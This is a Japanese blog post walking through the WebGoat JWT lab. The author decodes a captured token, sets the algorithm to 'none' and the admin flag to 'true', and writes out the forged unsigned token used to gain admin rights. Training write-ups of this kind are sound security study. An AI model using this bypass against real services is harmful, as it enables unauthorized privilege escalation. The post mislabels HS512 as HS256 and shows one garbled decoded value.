Shikata Ga Nai

Private? There is no such things.

WebGOATのJWT tokens④を演習してみた

Hello there, ('ω')ノ

 

WebGOATのJWT tokens④を選択して。

重要なステップの1つとしてアクションを実行する前に署名を検証することで。

トークンを変更して管理者になるようにだとか。

管理者になったら投票をリセットしてと。

 

動作を確認してみるとguest以外の3ユーザが、投票可で。

ゴミ箱を押すと、リセットは管理者のみとのメッセージが。

 

f:id:ThisIsOne:20200716144029p:plain

 

Burp Suiteでリクエスト内容を見てみると以下のようなメッセージが。

 

Cookie:

access_token=eyJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE1OTU3NDIyOTksImFkbWluIjoiZmFsc2UiLCJ1c2VyIjoiVG9tIn0.prPqzn7Lu2eP7jK4NG7F-eSHcsS6-1t6TQ-EzUNQ0jEiGBMWvILENmBBxSoBHd1cGrr6LNPz-aBOmgiNU7EVOw;

JSESSIONID=399EDEBD9EEFC7AA488016A93C77DC52

 

JWTは、ヘッダ、ペイロード、署名が『.』で結合されていて。

さらには、Base64でエンコードされていて。

なので、下記のように分解して。

 

access_token=

eyJhbGciOiJIUzUxMiJ9

eyJpYXQiOjE1OTU3NDIyOTksImFkbWluIjoiZmFsc2UiLCJ1c2VyIjoiVG9tIn0

prPqzn7Lu2eP7jK4NG7F-eSHcsS6-1t6TQ-EzUNQ0jEiGBMWvILENmBBxSoBHd1cGrr6LNPz-aBOmgiNU7EVOw

 

f:id:ThisIsOne:20200716152608p:plain

 

ヘッダとペイロードをデコードしてみると下記のような結果に。

 

{"alg":"HS512"}

{"iat":1595742299,"admin":"false","user":"TomIn0

 

f:id:ThisIsOne:20200716152902p:plain

 

電子署名のアルゴリズムがHS256で指定されているので、これを署名なしにして。

ペイロードの内容を下記のように整形して。

 

{"alg":"none"}

{"iat":1595742299,"admin":"true","user":"Tom"}

 

もう一度、ヘッダとペイロードをエンコードしてもとにもどして。

 

eyJhbGciOiJub25lIn0=

eyJpYXQiOjE1OTU3NDIyOTksImFkbWluIjoidHJ1ZSIsInVzZXIiOiJUb20ifQ==

 

f:id:ThisIsOne:20200716153652p:plain

 

下記のようにJWTトークンの内容を署名なしで書き換えて実行すると。

 

access_token=

eyJhbGciOiJub25lIn0=.eyJpYXQiOjE1OTU3NDIyOTksImFkbWluIjoidHJ1ZSIsInVzZXIiOiJUb20ifQ==;

 

f:id:ThisIsOne:20200716155516p:plain

 

投票がリセットできた。

 

f:id:ThisIsOne:20200716160054p:plain